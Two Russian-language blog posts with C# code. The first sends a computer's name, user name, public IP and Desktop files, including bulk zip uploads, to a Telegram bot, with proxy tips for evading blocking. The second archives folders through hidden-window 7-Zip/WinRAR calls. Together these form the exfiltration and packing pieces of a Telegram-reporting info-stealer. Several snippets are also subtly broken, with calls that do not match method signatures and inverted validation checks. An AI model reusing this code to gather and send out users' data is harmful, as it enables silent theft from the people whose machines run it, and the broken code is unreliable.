r3xq1

Отправка данных в TelegramBot

2020-08-22T17:37:35.372Z

Сначала сделаем отправку без использования библиотек, напрямую по URL.

У нас есть API сайт телеграмм:

В котором мы можем найти все данные для отправки запросов и получения данных.

Методы для отправки можете найти тут

Пример вызова методов:

Используется System.Net.Http

namespace TGbotEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Threading.Tasks;

    internal static class Program
    {
        private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
        [STAThread]
        public static async Task Main()
        {

            string textMessage = string.Concat(
            "👤 Компьютер: ", Environment.MachineName,
            "\n 🏴 Пользователь: ", Environment.UserName,
            "\n 🌐 IP: ", GetIP("https://api.ipify.org"));
            string photos = Path.Combine(Desktop, "CaptureFile.jpg"); // Путь к фотографии
            string text = Path.Combine(Desktop, "SendFile.txt"); // Путь к текстовому файлу
            await TGchannel.UrlSendFileAsync("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
            Console.Read();
        }
        // Метод для получения IP адреса
        private static string GetIP(string url)
        {
            string result = string.Empty;
            try
            {
                var Link = new Uri(url);
                using (var client = new WebClient())
                {
                    result = client.DownloadString(Link);
                }
            }
            catch { }
            return result;
        }
    }
}

Для отправки zip файла можно использовать ещё такой способ: Кликни сюда

Использовать метод для отправки архива можно так:

string ZipArchive = Path.Combine(Desktop, "NameYourZipFile.zip");

var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine($"⚡️ Архив прислан от: {Environment.UserName}");
CaptionBuild.AppendLine($"👤 Компьютер: {Environment.MachineName}");
CaptionBuild.AppendLine($"🏴 Пользователь: {Environment.UserName}");
CaptionBuild.AppendLine($"🌐 IP: {GetIP("https://api.ipify.org")}");
CaptionBuild.AppendLine("");
CaptionBuild.AppendLine("Developed by r3xq1");

SendFileToServer(ZipArchive, "application/x-winzip", Token, ID_chat);

Все методы прокомментированы, думаю объяснять ничего особо не нужно.

Теперь напишем методы с использованием библиотеки Telegram.Bot.dll

Методы для отправки можете найти тут

private static TelegramBotClient bot;

Для отправки файл(а)ов:

 /// <summary>
 /// Асинхронный метод для отправки файла в канал телеграмма
 /// </summary>
 /// <param name="token">Токен бота</param>
 /// <param name="chatId">ID чата</param>
 /// <param name="filename">Полный путь к файлу</param>
 /// <returns></returns>
 public static async Task AsyncSendFile(string token, int? chatId, string filename)
 {
   if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
   {
       try
       {
          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
          bot = new TelegramBotClient(token);
           // using (var stream = System.IO.File.Open(filename, FileMode.Open))
           using (FileStream stream = System.IO.File.OpenRead(filename))
           {
              string ssf = Path.GetFileName(filename);
              var Iof = new InputOnlineFile(stream, ssf);
              string fromsend = $"Файл отправлен от: {Environment.UserName}";
              Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend); 
            }
        }
        catch (Exception ex)
        {
           System.IO.File.WriteAllText("AsyncSendFile_Error.txt", $"{ex.Message}{Environment.NewLine}");
        }
   }}

Для отправки сообщения:

/// <summary>
/// Асинхронный метод для отправки текста в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="textMessage">Сообщение для отправки</param>
/// <returns></returns>
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
  if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
  {
     try
     {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
        bot = new TelegramBotClient(token);
        Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
     }
     catch (Exception ex)
     {
       System.IO.File.WriteAllText("AsyncSendText_Error.txt", $"{ex.Message}{Environment.NewLine}");
     }
  }
}

Используется так:

await TGLibChannel.AsyncSendText("Ваш токен бота", Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles("Ваш токен бота", Ваш ChatID, Desktop, "*zip"); // отправляем файлы zip

ProxyServer - Подключаем прокси

Немного о том, что делать если Роскомнадзор блокирует отправку/получения данных из/в телеграмм?!

В таком случае придётся использовать VPN ( на пример: NordVPN )

Или подключать Proxy к самому TelegramBot'у.

Вот пример как подключить прокси к боту:

Для Телеграмм нужно использовать Socks5 прокси от MihaZupan

P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:

Выберем подходящий проксик по этой ссылке.

Теперь подключаем в коде:

var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort);
proxy.ResolveHostnamesLocally = true;
Bot = new TelegramBotClient(BotToken, proxy);

или так

var proxy = new HttpToSocks5Proxy("IPAddress", Port, Username, Password);
client.Proxy = proxy;

На этом всё!

Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад

BTC: 1BebhKcKzEHDbCtNz21DT7ocB6wv1LQVGH

По всем вопросами пишите мне в:

Telegram: @r3xq1 ( остерегайтесь фейков )
Jabber: r3xq1_dev@exploit.im

https://github.com/r3xq1

Архивация данных на языке C#

2020-06-26T12:22:00.438Z

Пример архивации данных для новичков

В этом примере вы сможете с лёгкостью архивировать ваши данные файлов на версии .NetFramework от v4.0 - v4.5 и выше.

Нажмите: скачать всёнеобходимое для вашей работы! (В этом архиве лежат все нужные классы которые вы можете использовать для работы с архивацией)

Начнём работу со стандартными архиваторами которые установлены на машине пользователя, а это 7-Zip , WinRAR

Для работы мне потребовалась некоторая документация:

Сначала находим где установлены эти архиваторы, будем использовать реестр для нахождения, воспользуемся данным кодом ниже:

[Внимание] В данном коде используется версия C# 8.0

Класс для нахождения стандартных архиваторов на компьютере через реестр.

Класс для нахождения архиваторов через Реестр Windows

namespace Archiver
{
    using Microsoft.Win32;

    public static class RegZipPath 
    {
        /// <summary>
        /// Метод для поиска установленного WinRAR архиватора в системе через реестр
        /// </summary>
        /// <returns>Путь к <b>.exe</b> архиватору</returns>
        public static string FindWinRar()
        {
            string result = string.Empty;
            try
            {
                const string REGPATH = @"WinRAR\Shell\Open\Command";
                using RegistryKey Root = Registry.ClassesRoot.OpenSubKey(REGPATH);
                string winrarPath = (Root?.GetValue(""))?.ToString();
                winrarPath = winrarPath.Substring(1, winrarPath.Length - 7);
                result = winrarPath;
            }
            catch { }
            return result;
        }

        /// <summary>
        /// Метод для поиска установленного 7-Zip архиватора в системе через реестр
        /// </summary>
        /// <returns>Путь к <b>.exe</b> архиватору</returns>
        public static string FindWinZip()
        {
            string result = string.Empty;
            try
            {
                const string REGPATH = @"Software\7-Zip";
                using RegistryKey zip = Registry.CurrentUser.OpenSubKey(REGPATH);
                result = string.Concat((zip?.GetValue("Path"))?.ToString(), "7z.exe");
            }
            catch { }
            return result;
        }
    }
}

Эти два метода из класса RegZipPath.cs позволять находить путь к .exe-шнику нужного архиватора, если тот установлен в системе.

Теперь перейдём в другой класс который будет отвечать за саму архивацию папки.

Класс в котором используются 2-а метода для архивации папки с максимальным сжатием и разархивации архива.

Класс для архивации данных через стандартные архиваторы Windows ( Winrar, Zip )

Для 7-Zip используется данный метод PackZip

Расшифровка аргументов для Архивации папки:

a ( Добавление файлов в архив )

t - тип. Определяет тип архива, который вы хотите создать:
-t7z Формат: 7Z
-tgzip Формат: GZIP
-tzip Формат: ZIP
-tbzip2 Формат: BZIP2
-ttar Формат: TAR
-tiso Формат: ISO
-tudf Формат: UDF

-r ( Обрабатывать вложенные папки )
{outputzip}.zip ( Имя выходного архива )
{datapath} (Путь к папке, которую нужно архивировать)
-mx=9 ( Уровень сжатия архива, 1 - Fast | 9 Ultra )

public static class ArchCmd
{
   /// <summary>
   /// Метод для архивации папки с ультра сжатием.
   /// </summary>
   /// <param name="zipshell">Путь к архиватору</param>
   /// <param name="datapath">Путь к папке которую нужно архивировать</param>
   /// <param name="outputzip">Выходной путь, куда сохранять с новым именем архива</param>
   public static void PackZip(string zipshell, string datapath, string outputzip)
   {
     if (File.Exists(zipshell) && (!string.IsNullOrWhiteSpace(datapath) || !string.IsNullOrWhiteSpace(outputzip)))
     {
        var pro = new ProcessStartInfo
        {
           WindowStyle = ProcessWindowStyle.Hidden,
           FileName = zipshell,
           Arguments = $@"a -tzip -r {outputzip}.zip {datapath} -mx=9"
        };
        using var x = Process.Start(pro);
        x.Refresh();
        x.WaitForExit(); // Обязательно)
      }
   }

Так же используется метод для распаковки UnpackZip

Расшифровка аргументов для распаковки архива:

x (Принимающий архив который нужно распаковать)
-o (Выходная директория распакованного архива)

/// <summary>
/// Метод для распаковки .zip архива
/// </summary>
/// <param name="zipshell">Путь к архиватору</param>
/// <param name="inputzip">Путь к папке которую нужно разархивировать</param>
/// <param name="outputdir">Выходной путь, куда сохранять папку</param>
public static void UnpackZip(string zipshell, string inputzip, string outputdir)
{
  if (File.Exists(zipshell) && (!string.IsNullOrWhiteSpace(inputzip) || !string.IsNullOrWhiteSpace(outputdir)))
  {
     var pro = new ProcessStartInfo
     {
        WindowStyle = ProcessWindowStyle.Hidden,
        FileName = zipshell,
        Arguments = $"x {inputzip}.zip -o{outputdir}"
     };
     using var x = Process.Start(pro);
     x.WaitForExit();
   }
}

Пример использования для Zip

/* -Примеры использования-
private static readonly string CurrDir = Environment.CurrentDirectory; // Текущая директория
private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Рабочий стол
ZipDot - Имя папки которую архивируем. 
r3xq1 - Имя архива ( без .zip )
Для архивации: PackZip(RegZipPath.FindWinZip(), Path.Combine(CurrDir, "ZipDot"), Path.Combine(Desktop, "r3xq1"));
Для распаковки: UnpackZip(RegZipPath.FindWinZip(), Path.Combine(Desktop, "r3xq1"), Path.Combine(Desktop, "r3xq1"));
*/

Отлично! С методом Zip архивации и разархивации мы разобрались)

Теперь сделаем тоже самое только для работы с WinRAR архиватором.

Расшифровка аргументов:

a (Добавление файлов в архив)
-ep1 (Исключить из пути базовую папку)
-m5 (Установить метод сжатия, 1 - Fast | 5 - Ultra)
-r (Обрабатывать вложенные папки )
-y (Подразумевать ответ "Да" на все запросы - На всякий случай, чтобы не было лишних консольных окошек)
{outputzip}.zip (Имя выходного архива)
{datapath} (Путь к папке, которую нужно архивировать)

/// <summary>
/// Метод для архивации папки с ультра сжатием.
/// </summary>
/// <param name="rarshell">Путь к архиватору</param>
/// <param name="datapath">Путь к папке которую нужно архивировать</param>
/// <param name="outputzip">Выходной путь, куда сохранять с новым именем архива</param>
public static void PackRar(string rarshell, string datapath, string outputzip)
{
  if (File.Exists(rarshell) && (!string.IsNullOrWhiteSpace(datapath) || !string.IsNullOrWhiteSpace(outputzip)))
  {
     var pro = new ProcessStartInfo
     {
        WindowStyle = ProcessWindowStyle.Hidden,
        FileName = rarshell,
        Arguments = $@"a -ep1 -m5 -r -y {outputzip}.rar {datapath}"
     };
     using var x = Process.Start(pro);
     x.Refresh();
     x.WaitForExit();
   }
}

Вызов точно так же как с Zip только за место первого аргумента даём путь нахождения Winrar архиватора а не Zip.

ArchCmd.PackRar(RegZipPath.FindWinRar(), Path.Combine(CurrDir, "ZipDot"), Path.Combine(Desktop, "r3xq1"));

Отлично, с этим мы закончили.

Теперь мы поговорим о классе Zipstorer.cs

Этот класс можно использовать в .NetFramework 4.0 за место всяких левых библиотек. Класс сможете найти в архиве, я его немного изменил чтобы было проще использовать и добавил класс ZipR3.cs через который можно вызывать необходимые методы.

public static class ZipR3
{
        /* Created r3xq1 */

        #region Methods for adding folders to the archive | Методы для добавления папок в архив

        /// <summary>
        /// Method for adding folders to .Zip archive
        /// <br>Метод для добавления папок в .Zip архив</br>
        /// </summary>
        /// <param name="zippath">The path to the .zip archive folder<br>Путь к папке .zip архива</br></param>
        /// <param name="datapath">Full path to folders to add to .zip archive<br>Полный путь к папкам для добавления в .zip архив</br></param>
        /// <param name="mode">Compression method<br>Метод сжатия</br></param>
        /// <param name="commentzip">Comments on the .zip archive<br>Комментарии к .zip архиву</br></param>
        public static void AddMassDirectory(string zippath, string[] datapath, ZipStorer.Compression mode, string commentzip = "") 
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            foreach (string dir in datapath.Where(dir => Directory.Exists(dir)))
            {
                zipdir?.AddDirectory(mode, dir, string.Empty);
            }
        }
        public static void AddMassDirectory(string zippath, List<string> datapath, ZipStorer.Compression mode, string commentzip = "")
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            foreach (string dir in datapath.Where(dir => Directory.Exists(dir)))
            {
                zipdir?.AddDirectory(mode, dir, string.Empty);
            }
        }

        /// <summary>
        /// <br>Метод для добавления папки в .Zip архив</br>
        /// </summary>
        /// <param name="zippath">The path to the .zip archive folder<br>Путь к папке .zip архива</br></param>
        /// <param name="datapath">Full path to the folder to add to the .zip archive<br>Полный путь к папке для добавления в .zip архив</br></param>
        /// <param name="mode">Compression method<br>Метод сжатия</br></param>
        /// <param name="commentzip">Comments on the .zip archive<br>Комментарии к .zip архиву</br></param>
        public static void AddDirectory(string zippath, string datapath, ZipStorer.Compression mode, string commentzip = "") 
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            if (Directory.Exists(datapath))
            {
                zipdir?.AddDirectory(mode, datapath, string.Empty);
            }
        }
        #endregion

        #region Methods for adding files to the archive | Методы для добавления файлов в архив

        /// <summary>
        /// Method for adding a files to a .zip archive
        /// <br>Метод для добавления файлов в .zip архив</br>
        /// </summary>
        /// <param name="zippath">The path to the .zip archive folder<br>Путь к папке .zip архива</br></param>
        /// <param name="filepath">Full path to files to add to .zip archive<br>Полный путь к файлам для добавления в .zip архив</br></param>
        /// <param name="mode">Compression method<br>Метод сжатия</br></param>
        /// <param name="commentzip">Comments on the .zip archive<br>Комментарии к .zip архиву</br></param>
        public static void AddMassFile(string zippath, string[] filepath, ZipStorer.Compression mode, string commentzip = "")
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            foreach (string files in filepath.Where(files => File.Exists(files)))
            {
                zip?.AddFile(mode, files, Path.GetFileName(files), string.Empty);
            }
        }
        public static void AddMassFile(string zippath, List<string> filepath, ZipStorer.Compression mode, string commentzip = "")
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            foreach (string files in filepath.Where(files => File.Exists(files)))
            {
                zip?.AddFile(mode, files, Path.GetFileName(files), string.Empty);
            }
        }

        /// <summary>
        /// Method for adding a file to a .zip archive
        /// <br>Метод для добавления файла в .zip архив</br>
        /// </summary>
        /// <param name="zippath">The path to the .zip archive folder<br>Путь к папке .zip архива</br></param>
        /// <param name="filepath">Full path to the file to add to the .Zip archive<br>Полный путь к файлу для добавления в .Zip архив</br></param>
        /// <param name="mode">Compression method<br>Метод сжатия</br></param>
        /// <param name="commentzip">Comments on the .zip archive<br>Комментарии к .zip архиву</br></param>
        public static void AddFile(string zippath, string filepath, ZipStorer.Compression mode, string commentzip = "")
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            zip?.AddFile(mode, filepath, Path.GetFileName(filepath), string.Empty);
        }

        #endregion

        #region Methods for unpacking files from the archive | Методы для распаковки файлов из архива

        /// <summary>
        /// Method for unpacking a files from a .Zip archive
        /// <br>Метод для распаковки файлов из .Zip архива</br>
        /// </summary>
        /// <param name="zippath">The path to the .zip archive folder<br>Путь к папке .zip архива</br></param>
        /// <param name="filenames">Name of files to unzip<br>Имя файлов которые нужно распаковать</br></param>
        /// <param name="savepath">Path to save files<br>Путь для сохранения файлов</br></param>
        public static void UnpackMassFile(string zippath, string[] filenames, string savepath)
        {
            using var zip = ZipStorer.Open(zippath, FileAccess.Read);
            foreach (ZipStorer.ZipFileEntry entry in zip.ReadCentralDir())
            {
                foreach (string file in filenames.Where(file => Path.GetFileName(entry.FilenameInZip).Contains(file)))
                {
                    zip?.ExtractFile(entry, Path.Combine(savepath, file));
                }
            }
        }

        /// <summary>
        /// Method for unpacking a file from a .Zip archive
        /// <br>Метод для распаковки файла из .Zip архива</br>
        /// </summary>
        /// <param name="zippath">The path to the .zip archive folder<br>Путь к папке .zip архива</br></param>
        /// <param name="filename">The name of the file you want to unzip<br>Имя файла которого нужно распаковать</br></param>
        /// <param name="savepath">Path to save file<br>Путь для сохранения файла</br></param>
        public static void UnpackFile(string zippath, string filename, string savepath)
        {
            using var zip = ZipStorer.Open(zippath, FileAccess.Read);
            foreach (ZipStorer.ZipFileEntry entry in zip.ReadCentralDir().Where(entry => Path.GetFileName(entry.FilenameInZip).Contains(filename)))
            {
                zip?.ExtractFile(entry, Path.Combine(savepath, filename));
                break;
            }
        }
        #endregion
    }

Класс можете изменить под себя, как вам будет удобно.

В версии .NetFramework 4.5 имеется встроенный архиватор который вы можете использовать.

Для этого подключите ссылки:

using System
System.IO.Compression
System.IO.Compression.FileSystem

Теперь запишем метод который добавляет файлы в архив .Zip

/// <summary>
/// Метод для добавления файла в .Zip архив
/// </summary>
/// <param name="zipfile">Полный путь к .Zip архиву</param>
/// <param name="inputfile">Путь к файлу для добавления в .Zip архив</param>
/// <param name="compressionlevel">Метод сжатия</param>
public static void AddFileInZip(string zipfile, string inputfile, CompressionLevel compressionlevel)
{
  try
  {
     using ZipArchive za = ZipFile.Open(zipfile, ZipArchiveMode.Update);
     za?.CreateEntryFromFile(inputfile, Path.GetFileName(inputfile), compressionlevel);
  }
  catch (Exception ex) { throw new Exception("Ошибка: ", ex); }
}

Использовать можно так:

private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
private static readonly string TargetFile = Path.Combine(Desktop, "11.jpg");
AddFileInZip("r3xq1.zip", TargetFile, CompressionLevel.Fastest);

Можно так же использовать сторонние библиотеки для архивации, вот некоторые из них:

Примеры их использования куча, вы можете посмотреть реализации их методов на: SO - StackOverFlow CyberForum

На этом можно кончить и закончить.

Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад

BTC: 1HVjr2GmsTeRKG78rLxmX4CeQBEH8fUAhR

По всем вопросами пишите мне в:

Telegram: @r3xq1 ( остерегайтесь фейков )
Jabber: r3xq1@jabber.ru

https://github.com/r3xq1